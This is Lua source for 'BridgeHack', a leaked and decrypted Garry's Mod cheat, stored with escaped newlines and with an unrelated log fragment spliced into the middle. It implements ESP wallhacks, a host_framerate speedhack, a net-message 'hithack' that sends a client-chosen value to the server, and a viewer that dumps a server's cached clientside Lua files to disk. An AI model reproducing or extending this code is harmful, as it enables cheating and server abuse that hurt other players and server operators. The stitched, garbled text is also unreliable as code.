)\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"ClientSide Lua Viewer\",function()\x0a\x0a\x09\x09chatP(\"Opening clientside lua viewer...\")\x0a\x0a\x09\x09ply:ConCommand(\"bh_lua\")\x0a\x0a\x09end):SetImage( \"icon16/application_osx_terminal.png\" )\x0a\x0a\x09\x0a\x0a\x09if ply:SteamID() == \"STEAM_0:1:45153092\" or ply:SteamID() == \"STEAM_0:1:61639885\" then \x0a\x0a\x09\x09local DebugMenu = menu:AddSubMenu(\" Debug Settings\")\x0a\x0a\x09\x09DebugMenu:AddOption(\" Reset Default Config.\", function()\x0a\x0a\x09\x09\x09Debug(\"Resetting Cheat Variables...\")\x0a\x0a\x09\x09\x09ResetCvar(\"bh_menu_effects\", 1)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_firstload_correct\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_chat_status\",0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_cheats_enabled_on_start\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_cheats_svlua_enabled_on_start\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_showhud\", 1)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_notify\", 1)\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09DebugMenu:AddOption(\" Debug\",function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09\x09chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. \" | \".. v:Nick())\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09menu:AddSpacer()\x0a\x0a\x09\x09\x0a\x0a\x09menu:AddOption( \"Config Menu\", function() \x0a\x0a\x09\x09local DermaPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09DermaPanel:SetPos( 100, 100 )\x0a\x0a\x09\x09DermaPanel:SetSize( 300, 400 )\x0a\x0a\x09\x09DermaPanel:SetTitle( \" \" )\x0a\x0a\x09\x09DermaPanel:SetVisible( true )\x0a\x0a\x09\x09DermaPanel:SetDraggable( true )\x0a\x0a\x09\x09DermaPanel:ShowCloseButton( false )\x0a\x0a\x09\x09function DermaPanel:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09draw.SimpleText( \"BridgeHack Configuration Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", DermaPanel)\x0a\x0a\x09\x09Button:SetPos( 250, 2 )\x0a\x0a\x09\x09Button:SetSize( 45, 19 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09Button:SetTextColor( Color( 255, 255, 255) )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 2, -2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09DermaPanel:Close()\x0a\x0a\x09\x09end\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09DermaPanel:MakePopup()\x0a\x0a\x0a\x0a\x09\x09local ESPMixer = vgui.Create( \"DColorMixer\", DermaPanel )\x0a\x0a\x09\x09ESPMixer:SetPos( 10,170)\x0a\x0a\x09\x09ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame\x0a\x0a\x09\x09ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true\x0a\x0a\x09\x09ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true\x0a\x0a\x09\x09ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true\x0a\x0a\x09\x09ESPMixer:SetColor( Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\")) )--Set the default color\x0a\x0a\x09\x09daespvector = ESPMixer:GetColor()\x0a\x0a\x0a\x0a\x09\x09local ESPMixButton = vgui.Create( \"DButton\",DermaPanel )\x0a\x0a\x09\x09ESPMixButton:SetPos( 5, 265 )\x0a\x0a\x09\x09ESPMixButton:SetText( \"Set ESP Color\" )\x0a\x0a\x09\x09ESPMixButton:SetSize( 120, 15 )\x0a\x0a\x09\x09ESPMixButton.DoClick = function()\x0a\x0a\x09\x09\x09print(daespvector)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_r \"..daespr)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_g \"..daespg)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_b \"..daespb)\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local EspBoxes = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09EspBoxes:SetPos( 10, 25 )/ Set the position\x0a\x0a\x09\x09EspBoxes:SetValue( GetConVarNumber(\"bh_esp_box\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09EspBoxes:SetText(\"ESP Boxes\")\x0a\x0a\x09\x09EspBoxes:SetConVar( \"bh_esp_box\" )\x0a\x0a\x09\x09EspBoxes:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local ShowHP = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09ShowHP:SetPos( 10, 45 )/ Set the position\x0a\x0a\x09\x09ShowHP:SetValue( GetConVarNumber(\"bh_esp_hp\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09ShowHP:SetText(\"Show HP On ESP\")\x0a\x0a\x09\x09ShowHP:SetConVar( \"bh_esp_hp\" )\x0a\x0a\x09\x09ShowHP:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local ShowRank = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09ShowRank:SetPos( 10, 65 )/ Set the position\x0a\x0a\x09\x09ShowRank:SetValue( GetConVarNumber(\"bh_esp_rank\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09ShowRank:SetText(\"Show Rank On ESP\")\x0a\x0a\x09\x09ShowRank:SetConVar( \"bh_esp_rank\" )\x0a\x0a\x09\x09ShowRank:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local Rdistance = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09Rdistance:SetPos( 10, 85 )/ Set the position\x0a\x0a\x09\x09Rdistance:SetValue( GetConVarNumber(\"bh_renderdistance_enable\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09Rdistance:SetText(\"Use a Maximum render distance\")\x0a\x0a\x09\x09Rdistance:SetConVar( \"bh_renderdistance_enable\" )\x0a\x0a\x09\x09Rdistance:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local Rdistance = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09Rdistance:SetPos( 10, 105 )/ Set the position\x0a\x0a\x09\x09Rdistance:SetValue( GetConVarNumber(\"bh_notify\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09Rdistance:SetText(\"Top Scrolling Message\")\x0a\x0a\x09\x09Rdistance:SetConVar( \"bh_notify\" )\x0a\x0a\x09\x09Rdistance:SizeToContents()\x0a\x0a\x09\x09\x0a\x0a\x09\x09local PlaySound = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09PlaySound:SetPos( 10, 125 )/ Set the position\x0a\x0a\x09\x09PlaySound:SetValue( GetConVarNumber(\"bh_playsound\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09PlaySound:SetText(\"Menu sounds\")\x0a\x0a\x09\x09PlaySound:SetConVar( \"bh_playsound\" )\x0a\x0a\x09\x09PlaySound:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local RenderDistance = vgui.Create( \"DNumSlider\", DermaPanel )\x0a\x0a\x09\x09RenderDistance:SetPos( 25, 145) / Set the position\x0a\x0a\x09\x09RenderDistance:SetSize( 280, 25 ) / Set the size\x0a\x0a\x09\x09RenderDistance:SetText( \"Max Render Distance\" ) / Set the text above the slider\x0a\x0a\x09\x09RenderDistance:SetMin( 0 ) / Set the minimum number you can slide to\x0a\x0a\x09\x09RenderDistance:SetMax( 5000 )/ Set the maximum number you can slide to\x0a\x0a\x09\x09RenderDistance:SetDecimals( 1 ) / Decimal places - zero for whole number\x0a\x0a\x09\x09RenderDistance:SetConVar( \"bh_esp_rdistance\" ) / Changes the ConVar when you slide\x0a\x0a\x09end ):SetImage( \"icon16/wrench.png\" )\x0a\x0a\x09\x0a\x0a\x09menu:Open()\x0a\x0a\x09end)\x0a\x0a\x09\x09\x09\x0a\x0a\x09concommand.Add(\"-bh_menu\", function( ply )\x0a\x0a\x09\x09status(\"Menu Closed.\")\x0a\x0a\x09\x09if GetConVarNumber(\"bh_menu_effects\") == 1 then\x0a\x0a\x09\x09\x09hook.Add( \"RenderScreenspaceEffects\", \"BlurBG\", blur_off )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09local menu = DermaMenu() \x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09function ESP_on( ) \x0a\x0a\x09\x09ply:ConCommand(\"bh_esp 1\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09function ESP_off( )\x0a\x0a\x09\x09ply:ConCommand(\"bh_esp 0\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09\x09function speedhack_on( ) \x0a\x0a\x09\x09ply:ConCommand(\"host_framerate 8;host_framerate 8\")\x0a\x0a\x09\x09status(\"Enabled SpeedHack\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09function speedhack_off( )\x0a\x0a\x09\x09ply:ConCommand(\"host_framerate 0;host_framerate 0\")\x0a\x0a\x09\x09status(\"Disabled SpeedHack\")\x0a\x0a\x09end \x0a\x0a\x09\x0a\x0a\x09-- CL LUAVIEWER */ require(\"stringtables\") local escapejs = { [\"\\\\\"] = \"\\\\\\\\\", [\"\\0\"] = \"\\\\0\" , [\"\\b\"] = \"\\\\b\" , [\"\\t\"] = \"\\\\t\" , [\"\\n\"] = \"\\\\n\" , [\"\\v\"] = \"\\\\v\" , [\"\\f\"] = \"\\\\f\" , [\"\\r\"] = \"\\\\r\" , [\"\\\"\"] = \"\\\\\\\"\", [\"\\'\"] = \"\\\\\\'\" } function string.JavascriptSafe( str ) str = str:gsub( \".\", escapejs ) str = str:gsub( \"\\226\\128\\168\", \"\\\\\\226\\128\\168\" ) str = str:gsub( \"\\226\\128\\169\", \"\\\\\\226\\128\\169\" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open(\"cache/lua/\" .. crc .. \".lua\", \"rb\", \"MOD\") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match(\"%.txt$\") then path = path..\".txt\" end local curdir = \"\" for t in path:gmatch(\"[^/\\\\*]+\") do curdir = curdir..t if curdir:match(\"%.txt$\") then print(\"writing: \", curdir) file.Write(curdir, contents) else curdir = curdir..\"/\" print(\"Creating: \", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = \"\" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end\x0a\x0a\x0a\x0a/*\x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a ____ ___ __ __ \x0a\x0a/\\ _`\\ /\\_ \\ __ /\\ \\__ __ /\\ \\ \x0a\x0a\\ \\ \\/\\_\\/\\ \\ /\\_\\ __ ___\\ \\ ,_\\ ____/\\_\\ \\_\\ \\ __ \x0a\x0a \\ \\ \\/_/_\\ \\ \\ \\/\\ \\ /'__`\\/' _ `\\ \\ \\/ /',__\\/\\ \\ /'_` \\ /'__`\\ \x0a\x0a \\ \\ \\ \\ \\\\_\\ \\_\\ \\ \\/\\ __/\\ \\/\\ \\ \\ \\_/\\__, `\\ \\ \\/\\ \\ \\ \\/\\ __/ \x0a\x0a \\ \\____/\\____\\\\ \\_\\ \\____\\ \\_\\ \\_\\ \\__\\/\\____/\\ \\_\\ \\___,_\\ \\____\\ \x0a\x0a \\/___/ \\/____/ \\/_/\\/____/\\/_/\\/_/\\/__/\\/___/ \\/_/\\/__,_ /\\/____/ \x0a\x0a/\\ \\ __ \x0a\x0a\\ \\ \\ __ __ __ __ __ /\\_\\ __ __ __ __ __ _ __ \x0a\x0a \\ \\ \\ __/\\ \\/\\ \\ /'__`\\ /\\ \\/\\ \\\\/\\ \\ /'__`\\/\\ \\/\\ \\/\\ \\ /'__`\\/\\`'__\\\x0a\x0a \\ \\ \\L\\ \\ \\ \\_\\ \\/\\ \\L\\.\\_ \\ \\ \\_/ |\\ \\ \\/\\ __/\\ \\ \\_/ \\_/ \\/\\ __/\\ \\ \\/\x0a\x0a \\ \\____/\\ \\____/\\ \\__/.\\_\\ \\ \\___/ \\ \\_\\ \\____\\\\ \\___x___/'\\ \\____\\\\ \\_\\\x0a\x0a \\/___/ \\/___/ \\/__/\\/_/ \\/__/ \\/_/\\/____/ \\/__/__/ \\/____/ \\/_/\x0a\x0a \x0a\x0a[[----------------------------------------------------------------]]\x0a\x0a[[----------------------------------------------------------------]] */ require(\"stringtables\") local escapejs = { [\"\\\\\"] = \"\\\\\\\\\", [\"\\0\"] = \"\\\\0\" , [\"\\b\"] = \"\\\\b\" , [\"\\t\"] = \"\\\\t\" , [\"\\n\"] = \"\\\\n\" , [\"\\v\"] = \"\\\\v\" , [\"\\f\"] = \"\\\\f\" , [\"\\r\"] = \"\\\\r\" , [\"\\\"\"] = \"\\\\\\\"\", [\"\\'\"] = \"\\\\\\'\" } function string.JavascriptSafe( str ) str = str:gsub( \".\", escapejs ) str = str:gsub( \"\\226\\128\\168\", \"\\\\\\226\\128\\168\" ) str = str:gsub( \"\\226\\128\\169\", \"\\\\\\226\\128\\169\" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open(\"cache/lua/\" .. crc .. \".lua\", \"rb\", \"MOD\") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match(\"%.txt$\") then path = path..\".txt\" end local curdir = \"\" for t in path:gmatch(\"[^/\\\\*]+\") do curdir = curdir..t if curdir:match(\"%.txt$\") then print(\"writing: \", curdir) file.Write(curdir, contents) else curdir = curdir..\"/\" print(\"Creating: \", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = \"\" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end\x0a\x0a \x0a\x0alocal VIEWER = {}\x0a\x0a\x0a\x0afunction VIEWER:Init()\x0a\x0a self:SetTitle(\"Clientside Lua Viewer\")\x0a\x0a self:SetSize(1200, 550)\x0a\x0a self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)\x0a\x0a surface.SetDrawColor(Color(108,153,192))\x0a\x0a surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont(\"HeaderFont\")\x0a\x0a surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( \"DButton\", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText(\"\") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont(\"HeaderFont\") surface.SetTextPos(18,-2) surface.DrawText( \"x\" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create(\"DTree\", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create(\"DHTML\", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL(\"https:/metastruct.github.io/lua_editor/\") client_lua_files = stringtable.Get \"client_lua_files\" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, \".*/([^/]+%.lua)\") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, \"([^/]+)/\") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or \"\" for k, v in SortedPairs(data) do if type(v) == \"table\" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption(\"Save Folder\", function() dumbFolderCache = \"cluaview/\"..GetHostName()..dumbFolder(new_node) DrawFancyPopup(\"The folder \".. dumbFolder(new_node) ..\" has been saved as data/cluaview/\".. GetHostName() ..\"/folders/\".. dumbFolder(new_node) ..\"!\") end) dmenu:Open() end iterate(v, new_node, path .. k .. \"/\") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, \"icon16/page_green.png\") node.DoClick = function() self.html:QueueJavascript(\"SetContent('\"..string.JavascriptSafe(GetLuaFileContents(v.CRC))..\"')\") end local hostname = GetHostName() hostname = hostname:gsub(\"|\", \"-\") hostname = hostname:gsub(\"~\", \"-\") hostname = hostname:gsub(\" \", \"\") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption(\"Save File\", function() dumbFile(\"cluaview/\".. string.lower(hostname) ..\"/\"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup(\"The file \".. v.fileN ..\" has been saved as data/cluaview/\".. string.lower(hostname) ..\"/\".. v.fileN ..\"!\") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path\x0a\x0a end\x0a\x0a end\x0a\x0aderma.DefineControl(\"dcluaviewer\", \"Clientside Lua Viewer\", VIEWER, \"DFrame\")\x0a\x0a \x0a\x0a/*\x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a ____ \x0a\x0a/\\ _`\\ \x0a\x0a\\ \\ \\L\\_\\ __ ___ ___ __ __ \x0a\x0a \\ \\ _\\/'__`\\ /' _ `\\ /'___\\/\\ \\/\\ \\ \x0a\x0a \\ \\ \\/\\ \\L\\.\\_/\\ \\/\\ \\/\\ \\__/\\ \\ \\_\\ \\ \x0a\x0a \\ \\_\\ \\__/.\\_\\ \\_\\ \\_\\ \\____\\\\/`____ \\\x0a\x0a \\/_/\\/__/\\/_/\\/_/\\/_/\\/____/ `/___/> \\\x0a\x0a /\\___/\x0a\x0a \\/__/\x0a\x0a ____ \x0a\x0a/\\ _`\\ \x0a\x0a\\ \\ \\L\\ \\___ _____ __ __ _____ \x0a\x0a \\ \\ ,__/ __`\\/\\ '__`\\/\\ \\/\\ \\/\\ '__`\\ \x0a\x0a \\ \\ \\/\\ \\L\\ \\ \\ \\L\\ \\ \\ \\_\\ \\ \\ \\L\\ \\ \x0a\x0a \\ \\_\\ \\____/\\ \\ ,__/\\ \\____/\\ \\ ,__/ \x0a\x0a \\/_/\\/___/ \\ \\ \\/ \\/___/ \\ \\ \\/ \x0a\x0a \\ \\_\\ \\ \\_\\ \x0a\x0a \\/_/ \\/_/ \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a*/ \x0a\x0a \x0a\x0afunction DrawFancyPopup(message)\x0a\x0a fancyPopup = vgui.Create(\"DFrame\")\x0a\x0a fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle(\"\") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont(\"PopupFont\") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create(\"DButton\", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText(\"\") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont(\"PopupFont\") surface.SetTextPos(30.5,5.5) surface.DrawText( \"Alright!\" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end\x0a\x0aend\x0a\x0a \x0a\x0aconcommand.Add(\"testpopup\", function() DrawFancyPopup(\"This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!\") end) concommand.Add(\"bh_lua\", function() vgui.Create(\"dcluaviewer\"):MakePopup() end): 8219b477, 393ec858, lines 280- 312
6 Cannot verify CreateClientConVar call stack entry: Foreign lua source: / Leaked by velkon\x0a/ decrypted by General Hex\x0a\x0alocal dversion=1.3\x0a\x0alocal dlversion =\"v1.3\"\x0a\x0alocal outdated = 0\x0a\x0alocal devbuild = 0\x0a\x0alocal pastecheck = 0 / 0 = Bueno 1 = No Bueno\x0a\x0alocal crash = 0\x0a\x0alocal ulx_spam=0\x0a\x0alocal ply = LocalPlayer()\x0a\x0a\x0a\x0a/ INSTALIZATION \x0a\x0a/ FUNCTIONS\x0a\x0a\x0a\x0asurface.CreateFont( \"PopupHFont\", {\x0a\x0a\x09font = \"Segoe UI Light\",\x0a\x0a\x09size = 50,\x0a\x0a\x09weight = 1000,\x0a\x0a} )\x0a\x0a \x0a\x0asurface.CreateFont(\"HeaderFont\", {\x0a\x0a\x09font = \"Segoe UI Semilight\",\x0a\x0a\x09size = 22,\x0a\x0a\x09weight = 300\x0a\x0a})\x0a\x0a\x0a\x0asurface.CreateFont(\"PopupFont\", {\x0a\x0a\x09font = \"Segoe UI Light\",\x0a\x0a\x09size = 21,\x0a\x0a\x09weight = 300\x0a\x0a})\x0a\x0a\x0a\x0asurface.CreateFont(\"HeadingFont\",{\x0a\x0a\x09font = \"ChatFont\",\x0a\x0a\x09size = 20,\x0a\x0a\x09weight = 500,\x0a\x0a\x09antialias = true,\x0a\x0a})\x0a\x0a\x0a\x0afunction SoundClick()\x0a\x0a\x09if GetConVarNumber(\"bh_playsound\") > 0 then\x0a\x0a\x09\x09surface.PlaySound(\"buttons/lightswitch2.wav\")\x0a\x0a\x09else\x0a\x0aend end\x0a\x0a\x0a\x0afunction consoleP(message)\x0a\x0a\x09queries = queries + 1\x0a\x0a\x09MsgC(Color(231, 76, 60), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,255), message, \"\\n\")\x0a\x0aend\x0a\x0a\x0a\x0afunction SoundPop()\x0a\x0a\x09--buttons/blip1.wav\x0a\x0a\x09--buttons/button14.wav\x0a\x0a\x09--buttons/lightswitch2.wav\x0a\x0a\x09if GetConVarNumber(\"bh_playsound\") > 0 then\x0a\x0a\x09\x09surface.PlaySound(\"buttons/button14.wav\")\x0a\x0a\x09else\x0a\x0aend end\x0a\x0a\x0a\x0alocal infinite = 1000000000000000000000000000000000000000000000000000000000000000000\x0a\x0a\x0a\x0afunction HitBitches()\x0a\x0a\x09net.Start(\"hitcomplete\")\x0a\x0a\x09\x09net.WriteDouble( GetConVarNumber(\"bh_hitmenuammount\") )\x0a\x0a\x09net.SendToServer()\x0a\x0aend\x0a\x0aconcommand.Add(\"bh_hithack\", HitBitches)\x0a\x0a\x0a\x0afunction clearcon()\x0a\x0a\x09for i=0, 100 do\x0a\x0a\x09print(\" \")\x0a\x0aend end\x0a\x0a\x0a\x0afunction cleardchat()\x0a\x0a for i=0, 100 do\x0a\x0a chat.AddText(\" \")\x0a\x0a end end\x0a\x0a \x0a\x0a--[[\x0a\x0a\x09Woo, Coloured chat messages!\x0a\x0a]]--\x0a\x0afunction chatP(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0a\x0a\x0afunction chatPR(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,0,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0a\x0a\x0afunction chatPG(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(0,255,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0aqueries=1;\x09\x0a\x0ahttp.Fetch(\"http:/pastebin.com/raw.php?i=jfuCra2J\",function(body, len, headers, code)\x0a\x0a\x09serverlist = body\x0a\x0aend,function( error )\x0a\x0a\x09chatP(\"Error accessing PasteBin!\")\x0a\x0aend)\x0a\x0a\x0a\x0ahttp.Fetch(\"http:/pastebin.com/raw.php?i=Ax9WQ5y7\",function(body, len, headers, code)\x0a\x0a\x09changelogs = body\x0a\x0aend,function( error )\x0a\x0a\x09chatP(\"Error accessing PasteBin!\")\x0a\x0aend)\x0a\x0a\x09\x0a\x0afunction printchange()\x0a\x0a\x09consoleP(\"\"..changelogs..\"\")\x0a\x0aend\x0a\x0aconcommand.Add(\"bh_logs\", printchange)\x0a\x0a\x0a\x0a--[[\x0a\x0a\x0a\x0a\x09\x09PASTEBIN\x0a\x0a\x09\x09\x0a\x0a\x09\x09CHECK\x0a\x0a\x0a\x0a\x0a\x0a]]--\x0a\x0alocal StringM8 = \"I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!\"\x0a\x0a\x0a\x0afunction CheckPastebin()\x0a\x0a\x09http.Fetch(\"http:/pastebin.com/raw.php?i=gy2HeVgB\",function(body, len, headers, code)\x0a\x0a\x09\x09bintext = body\x0a\x0a\x09\x09local stringbin = ( tostring( bintext ))\x0a\x0a\x09\x09if (StringM8 == stringbin) then\x0a\x0a\x09\x09\x09consoleP(\"Connection to PasteBin is good!\")\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09pastecheck = 1\x0a\x0a\x09\x09\x09chatP(\"Connection to PasteBin is broken!\")\x0a\x0a\x09\x09\x09chatP(\"BridgeHack needs PasteBin to properly work!\")\x0a\x0a\x09\x09end end) end\x0a\x0a--[[\x0a\x0a~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~\x0a\x0a --]] \x0a\x0afunction VersionCheck()\x0a\x0a\x09http.Fetch(\"http:/pastebin.com/raw.php?i=xcTwfJY7\",function( HTML ) \x0a\x0a\x09local findpos = string.find( HTML, \"CVERSION =\", 0, false )\x09\x0a\x0a\x09if (findpos) then\x0a\x0a\x09\x09local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )\x0a\x0a\x09\x09if (pastecheck == 1) then\x0a\x0a\x09\x09\x09chatP(\"Can't check for newer versions because PasteBin is unaccessable!\")\x0a\x0a\x09\x09elseif ( version > dversion ) then\x0a\x0a\x09\x09\x09outdated = 1\x0a\x0a\x09\x09\x09chatP(\"Your version is out of date!\" )\x0a\x0a\x09\x09elseif ( version == dversion ) then\x0a\x0a\x09\x09\x09chatP(\"Your version is up to date.\" )\x0a\x0a\x09\x09elseif (version < dversion) then\x0a\x0a\x09\x09\x09devbuild = 1\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09chatP(\"Error 